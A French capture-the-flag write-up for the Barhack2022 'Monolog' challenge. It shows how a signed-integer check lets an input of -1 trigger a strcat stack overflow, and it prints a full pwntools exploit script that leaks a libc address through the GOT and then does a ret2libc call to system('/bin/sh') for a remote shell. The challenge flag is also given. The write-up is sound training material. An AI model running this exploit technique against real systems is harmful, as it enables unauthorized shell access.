[Barhack2022][Write Up – Reverse] Monolog

Le challenge

Voici le write up du challenge de reverse monolog de la Barhack2022.

On nous a passé un exécutable linux 32 bits, ainsi qu’une IP et un port sur lequel ce dernier tourne. Une libc nous est aussi passée (libc-2.31.so).

Lorsque l’on s’y connecte, il nous demande un nombre pour savoir combien d’entrées utilisateur prendre, puis l’écrit.

Fonctionnement normal

Fonctionnement normal

Premiers pas

La fonction main lance directement la fonction monolog:

Fonction main

Fonction main

On remarque par ailleurs l’utilisation de strcat qui est connue pour permettre des buffer overflow:

Man de strcat

Man de strcat

Reverse

Dans la fonction monolog, le programme va demander un nombre, et le comparer à 10. Si le nombre est supérieur, il s’arrête.

demande d'un nombre

demande d’un nombre

Ensuite, il va demander un bloc de 100 caractères et le concaténer à un buffer à ebp-0x3f4 tant qu’un compteur interne n’atteint pas la valeur indiquée au dessus:

Entrée utilisateur

Entrée utilisateur


strcat dangereux

strcat dangereux

Si la ligne stop est envoyée, le programme quitte la boucle, affiche la chaine qui a été concaténée (ebp-0x3f4) et s’arrête:

comparaison avec stop

comparaison avec stop


arrêt du programme

arrêt du programme

Exploitation

Dans la comparaison si dessus, on remarque qu’il y a la comparaison entre 10 et le nombre que l’on rentre. Cependant, il n’y a pas vérification sur le signe lors de la comparaison: Si le nombre est négatif (par exemple, -1), il va passer le test d’infériorité et on pourra envoyer 4294967295 blocs de taille 100 et donc overflow avec le strcat.

En terme de protection, il y a

  • ASLR
  • Partial RELRO
  • Pas de canary
  • NX
  • No PIE
checksec

checksec

Pour exploiter le code, on va envoyer -1 pour passer la comparaison, et réécrire l’adresse de retour, puis envoyer une ROP. Il faudra envoyer 1016 éléments dans le buffer (0x3f4 + 4 pour réecrire l’adresse de retour qui est juste après ebp dans la pile).
Ici, j’ai choisi de leak une adresse de la libc, et d’appeler system(‘/bin/sh’).

Voici le code d’exploitation:

from pwn import *

r = remote('monolog.brb',1302)
r.recvline()

puts = 0x08049090       //adresse de puts pour afficher les adresses
main = 0x080491d2       //adresse de retour
reloc_puts = 0x0804c024 //adresse de puts dans la GOT

r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()

offset = 1016 //0x3f4 + 4 = 1016
for i in range(offset//0x64):
    r.send(b'A'*0x64) //Remplissage du buffer
    r.recvline()

//Leak d'une fonction de la libc pour retirer l'aslr

payload = p32(puts)+p32(main)+p32(reloc_puts) //puts(reloc_puts), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
leaked_puts = int.from_bytes(r.recvrepeat(0.1).split(b'\n\n')[2][:4], 'little') //Récupération de l'adresse de puts dans la libc
libc_puts = 0x00070460   //adresse de puts dans la libc
libc_system = 0x00045040 //adresse de system dans la libc
libc_bin_sh = 0x0018c338 //adresse de /bin/sh dans la libc
libc_start = leaked_puts-libc_puts //Calcul de l'adresse de début de la libc

r.sendline(b'-1') //Pour passer la comparaison la comparaison
r.recvline()

offset = 1016
for i in range(offset//0x64):
    r.send(b'A'*0x64)
    r.recvline()

//Ret2libc

payload = p32(libc_start+libc_system)+p32(main)+p32(libc_start+libc_bin_sh) //system('/bin/sh'), main()
r.sendline(b'A'*(offset%0x64)+payload)
r.sendline(b'stop')
r.interactive()

 

On obtient alors un shell.

En local:

shell

shell

Flag

brb{b3_c4r3ful_w17h_516n3d_1n7}

BdenneuINGÉNIEUR SÉCURITÉ
Yolo

Add a comment

*Please complete all fields correctly